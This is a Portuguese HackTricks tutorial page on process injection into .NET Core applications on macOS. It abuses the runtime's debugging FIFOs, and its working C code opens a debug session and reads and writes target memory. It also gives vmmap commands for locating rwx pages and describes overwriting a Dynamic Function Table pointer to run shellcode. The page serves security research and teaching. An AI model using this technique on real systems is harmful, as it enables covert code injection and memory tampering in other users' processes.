hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md

12 KiB

Injeção em Aplicações .Net no macOS

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Depuração do .NET Core

Estabelecer uma sessão de depuração

dbgtransportsession.cpp é responsável por lidar com a comunicação entre o depurador e o depurado.
Ele cria dois pipes nomeados por processo .Net em dbgtransportsession.cpp#L127 chamando twowaypipe.cpp#L27 (um terminará em -in e o outro em -out e o restante do nome será o mesmo).

Portanto, se você acessar o diretório $TMPDIR do usuário, poderá encontrar fifos de depuração que podem ser usados para depurar aplicações .Net:

A função DbgTransportSession::TransportWorker lidará com a comunicação de um depurador.

A primeira coisa que um depurador precisa fazer é criar uma nova sessão de depuração. Isso é feito enviando uma mensagem via o pipe out começando com uma estrutura MessageHeader, que podemos obter do código-fonte do .NET:

struct MessageHeader
{
MessageType   m_eType;        // Type of message this is
DWORD         m_cbDataBlock;  // Size of data block that immediately follows this header (can be zero)
DWORD         m_dwId;         // Message ID assigned by the sender of this message
DWORD         m_dwReplyId;    // Message ID that this is a reply to (used by messages such as MT_GetDCB)
DWORD         m_dwLastSeenId; // Message ID last seen by sender (receiver can discard up to here from send queue)
DWORD         m_dwReserved;   // Reserved for future expansion (must be initialized to zero and
// never read)
union {
struct {
DWORD         m_dwMajorVersion;   // Protocol version requested/accepted
DWORD         m_dwMinorVersion;
} VersionInfo;
...
} TypeSpecificData;

BYTE                    m_sMustBeZero[8];
}

No caso de uma solicitação de nova sessão, esta estrutura é preenchida da seguinte forma:

static const DWORD kCurrentMajorVersion = 2;
static const DWORD kCurrentMinorVersion = 0;

// Set the message type (in this case, we're establishing a session)
sSendHeader.m_eType = MT_SessionRequest;

// Set the version
sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion;
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;

// Finally set the number of bytes which follow this header
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);

Uma vez construído, enviamos isso para o alvo usando a chamada de sistema write:

write(wr, &sSendHeader, sizeof(MessageHeader));

Seguindo nosso cabeçalho, precisamos enviar uma estrutura sessionRequestData, que contém um GUID para identificar nossa sessão:

// All '9' is a GUID.. right??
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));

// Send over the session request data
write(wr, &sDataBlock, sizeof(SessionRequestData));

Ao enviar nossa solicitação de sessão, leia do pipe out um cabeçalho que indicará se nossa solicitação para estabelecer uma sessão de depuração foi bem-sucedida ou não:

read(rd, &sReceiveHeader, sizeof(MessageHeader));

Ler Memória

Com uma sessão de depuração estabelecida, é possível ler a memória usando o tipo de mensagem MT_ReadMemory. Para ler alguma memória, o código principal necessário seria:

bool readMemory(void *addr, int len, unsigned char **output) {

*output = (unsigned char *)malloc(len);
if (*output == NULL) {
return false;
}

sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_ReadMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to read from
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = 0;

// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
return false;
}

// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
return false;
}

// Make sure that memory could be read before we attempt to read further
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}

memset(*output, 0, len);

// Read the memory from the debugee
if (read(rd, *output, sReceiveHeader.m_cbDataBlock) < 0) {
return false;
}

return true;
}

O código de prova de conceito (POC) pode ser encontrado aqui.

Escrever na memória

bool writeMemory(void *addr, int len, unsigned char *input) {

sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_WriteMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to write to
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = len;

// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
return false;
}

// Write the data
if (write(wr, input, len) < 0) {
return false;
}

// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
return false;
}

// Ensure our memory write was successful
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}

return true;

}

O código POC usado para fazer isso pode ser encontrado aqui.

Execução de código .NET Core

A primeira coisa é identificar, por exemplo, uma região de memória com permissões rwx em execução para salvar o shellcode a ser executado. Isso pode ser facilmente feito com:

vmmap -pages [pid]
vmmap -pages 35829 | grep "rwx/rwx"

Em seguida, para acionar a execução, seria necessário saber algum lugar onde um ponteiro de função é armazenado para sobrescrevê-lo. É possível sobrescrever um ponteiro dentro da Dynamic Function Table (DFT), que é usada pelo tempo de execução do .NET Core para fornecer funções auxiliares para a compilação JIT. Uma lista de ponteiros de função suportados pode ser encontrada em jithelpers.h.

Nas versões x64, isso é direto usando a técnica de caça de assinaturas semelhante ao mimikatz para procurar em libcorclr.dll uma referência ao símbolo _hlpDynamicFuncTable, que podemos desreferenciar:

Tudo o que resta é encontrar um endereço a partir do qual iniciar nossa busca por assinaturas. Para fazer isso, aproveitamos outra função de depuração exposta, MT_GetDCB. Isso retorna várias informações úteis sobre o processo de destino, mas, para o nosso caso, estamos interessados em um campo retornado contendo o endereço de uma função auxiliar, m_helperRemoteStartAddr. Usando esse endereço, sabemos exatamente onde libcorclr.dll está localizado na memória do processo de destino e podemos iniciar nossa busca pela DFT.

Sabendo desse endereço, é possível sobrescrever o ponteiro da função com o nosso shellcode.

O código completo do POC usado para injetar no PowerShell pode ser encontrado aqui.

Referências

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥